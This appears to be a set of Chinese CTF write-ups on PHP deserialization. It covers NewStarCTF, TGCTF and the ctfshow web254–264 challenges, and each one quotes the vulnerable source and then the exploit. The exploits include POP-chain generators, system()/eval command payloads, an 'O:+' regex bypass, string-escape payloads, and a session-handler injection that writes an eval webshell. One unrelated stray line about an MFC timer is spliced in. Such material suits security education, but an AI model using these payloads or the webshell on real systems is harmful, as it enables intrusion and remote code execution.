反序列化

[NewStarCTF 公开赛赛道]UnserializeOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Start
{
public $name;
protected $func;

public function __destruct( //6.echo 不是字符串
{ //destruct的触发反序列化就会自动触发
echo "Welcome to NewStarCTF, " . $this->name;
}

public function __isset($var) //2.找到把对象当成函数调用的地方,要触发isset函数
{ //不可访问属性使用isset()或empty()时,isset()会被调用
($this->func)();
}
}

class Sec
{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var); //5.check是不存在的方法
return "CTFers"; //找到触发tostring魔术方法
}

public function __invoke()
{
echo file_get_contents('/flag'); //1.我们的目标要触发invoke函数
} //触发时机 把对象当成函数调用
}

class Easy
{
public $cla;

public function __call($fun, $var) //4.找到调用clone的函数
{
$this->cla = clone $var[0]; //call触发时机:调用一个不存在的方法
}
}

class eeee
{
public $obj;

public function __clone()
{
if (isset($this->obj->cmd)) { //3.找到调用isset函数的地方
echo "success"; //又要找到调用clone的地方
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}

根据上面的一步一步来,由于private属性不能在类外进行改变,所以我们将私有和保护属性都改成公有的

f9a5032f9cb3a6b225bfc632b1a8484f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Start
{
public $name;
public $func;


}

class Sec
{
public $obj;
public $var;

//触发时机 把对象当成函数调用

}

class Easy
{
public $cla;

}
class eeee
{
public $obj;
}
$a = new Start();
$a->name = new Sec();
$a->name->obj=new Easy();
$a->name->var=new eeee();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();
echo serialize($a);

image-20250418084350506

TGCTF-什么文件上传?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct() //4.找到调用一个不存在的方法的地方
{ //反序列化也从这里开始
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2) //3.2.需要找到调用call函数的地方
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){ //3.md5时直接把doing当作字符串了,所以可以直接触发tostring
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){ //1.目的是得到这个,要触发tostring函数
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

先开始我是想用invoke里面的代码去触发tostring函数的,但是发现这个md5就已经把这个当作字符串了,所以可以直接触发tostring函数,这个链子也就相对来说简单一些,不过在这里反序列化之后有个字符截断,把后面4个字符给截断了,我们在后面随意加4个字符就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class yesterday {
public $study="study";

}
class today {
public $doing;
}
class tommoraw {

}
class future{
}
$a = new yesterday();
$b = new today();
$c = new future();
$a->study=$b;
$b->doing=$c;
$sec=serialize($a);
$enc = base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($sec)))));
echo serialize($enc)."1234";
?>

image-20250430104833434

用mfc的对话框结构 使用菜单设置开始与结束两个菜单项,用来控制计时器计时,时间显示为时分秒的形式

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这题其实感觉跟反序列化没有什么关系,主要是锻炼代码审计能力,发现要求isVip为true就输出flag,然后改true的地方只需满足两个变量为xxxxxx就好了,所以我们构造payload

1
username=xxxxxx&password=xxxxxx

image-20250414224358832

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

发现跟上个相比多了个cookie的反序列化,于是就只能采取抓包的形式了,发现user要求需要isVip为true,

构造完pop链后,url编码后发送抓包即可

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
$a->password='xxxxxx';
$b = new ctfShowUser();
$a ->username='xxxxxx';
echo urlencode(serialize($a));

image-20250414233240469

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

发现这里多了个要求,要求我们Cookie传进来的不能相等,但是是要跟get传进来的相等的,于是我们构造pop链

于是我们先传get

1
username=xxx&password=xxxx

然后

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfShowUser{
public $username=123456;
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
$a->password='xxxx';
$b = new ctfShowUser();
$a ->username='xxx';
//echo serialize($a);
echo urlencode(serialize($a));

image-20250415113543802

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ //2.找到触发这个函数的地方
$this->class->getInfo(); //又咋样触发这个desrtruct函数
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code); //1.发现执行函数,找到执行这个函数的代码
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //3.找到触发destruct函数的地方
$user->login($username,$password); //4.还要满足这个条件
}

根据上面的逻辑构造pop链,由于class是私有属性,不能直接让他等于什么类的实例,所以我们就用一个魔术方法,construct函数,正好实例化的时候触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class ctfShowUser
{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = true;
private $class='info';
public function __construct(){
$this->class=new backDoor();
}
}



class backDoor
{
private $code="system('ls');";

}
$a = new ctfShowUser();
$b=serialize($a);
echo $b;
echo urlencode($b);、

image-20250415125820140

发现flag,再将system里面的换成cat ./flag.php

image-20250415195056683

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

比上面的题多加了个正则,因此我们去用+号绕过,用函数str_replace去给他加上去当然你也可以手动加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class ctfShowUser
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = true;
public $class='info';
public function __construct(){
$this->class=new backDoor();
}
}



class backDoor
{
public $code="system('cat ./f*');";

}
$a = new ctfShowUser();
$b=serialize($a);
$b=str_replace('O:','O:+',$b);
echo $b;
echo urlencode($b);

image-20250415203222651

image-20250415203308116

web260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

看完代码之后发现只要求get的值存在ctfshow_i_love_36D这个字符串即可,这里的序列化没有影响,因为你直接将get的值等于这个就好了,get没有什么限制条件

1
2
ctfshow=ctfshow_i_love_36D
//s:18:"ctfshow_i_love_36D"

所以匹配成功

image-20250418091438239

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

在userialize函数拼接字符串完之后,需要code为0x36d,$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a,877.php等可以通过比较,然后password构造一句话木马

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

根据提示访问message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

发现上个传的反序列化里面的token=admin那么输出flag,由于这里又替换字符,然后又是增加的于是我们很容易联想到是字符逃逸增加,老规矩先来做测试

1
2
3
4
5
6
7
8
9
10
11
<?php
class message
{
public $from='x';
public $msg='fuck';
public $to='y';
public $token = 'user';
}
$data=new message();
echo serialize($data);
//O:7:"message":4:{s:4:"from";s:1:"x";s:3:"msg";s:4:"fuck";s:2:"to";s:1:"y";s:5:"token";s:4:"user";}

发现fuck后面存在字符逃逸,由于需要保证属性成员数量一致,我们也需要将to的值也加上去

所以我们逃逸的代码是

1
";s:2:"to";s:1:"y";s:5:"token";s:5:"admin";}

数一下有44个字符,所以我们需要44个fuck,构造payload

1
f=x&fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"y";s:5:"token";s:5:"admin";}&t=h

这里的t我们写什么都没关系其实,因为我们反序列化已经给他写出来了

然后再访问message.php

image-20250426170806498

web263

打开是个网站

image-20250504135448059

扫描一下

image-20250504135513631

发现一个压缩包,有源码泄露下载下来

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

check.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}


inc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);

// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}


class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

在index和inc里面发现有session strat函数 ,会解析session里面的内容,于是可以用到session反序列化,check里面是包含了inc.php的,由于这里的环境是7.多的,所以默认的处理器是php_serialize,然后inc里面用到的是php,且有构造函数,然后里面有file_put_contents函数可以写入文件

所以我们可以通过可控变量$_SESSION[‘limit’]构造shell,通过inc.php反序列化触发析构函数 用file_put_contents()写入一句话木马getshell

构造pop链

1
2
3
4
5
6
7
8
9
10
<?php

class User {
public $username = '1.php';
public $password = '<?php @eval($_POST[1]); ?>';
}

$a = new User();
$payload = '|' . serialize($a);
echo urlencode(base64_encode($payload));

我们先在index.php用php_serialize处理器的地方传个session的limit,创建会话,然后我们再访问chech.php执行代码再次开启会话,由php解释器然后执行反序列化,触发destruct函数,写入文件

先修改cookie的值

image-20250504224254873

然后发包创建会话,访问check.php

image-20250504224342963

再去访问我们生成的文件

image-20250504224411364

post输入命令就可以了

image-20250504224448901

web264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

跟web262的很像,再次访问message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

发现多了两个session_start函数,以为会根据session来着,但发现两个php代码的解释器都没有改变啊,又看了一眼环境,发现是php_serialize的解释器,那就直接正常反序列化来着就行,跟web262那个题差不多,不过这里没有主动去设cookie msg的值了,需要我们手动去设了,然后这里的字符串逃逸我换了个方法

之前的262我是在第2个成员属性进行逃逸的,所以逃逸的代码就会多了个to成员属性的变量,就导致我逃逸的代码是44,这次我直接在最后一个成员变量进行逃逸,就可以少一些,逃逸的字符只有27

1
";s:5:"token";s:5:"admin";}

这是我们需要逃逸的代码,所以我们需要27个fuck

1
2
3
4
5
6
7
8
9
<?php
class message{
public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token;
}
$a = new message();
echo serialize($a);
//O:7:"message":2:{s:4:"from";s:4:"fuck";s:5:"token";s:4:"user";}
//";s:5:"token";s:5:"admin";}

因此我们构造payload

1
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再在cookie界面加个msg的值

image-20250505002641491

刷新就有flag了

image-20250505002659201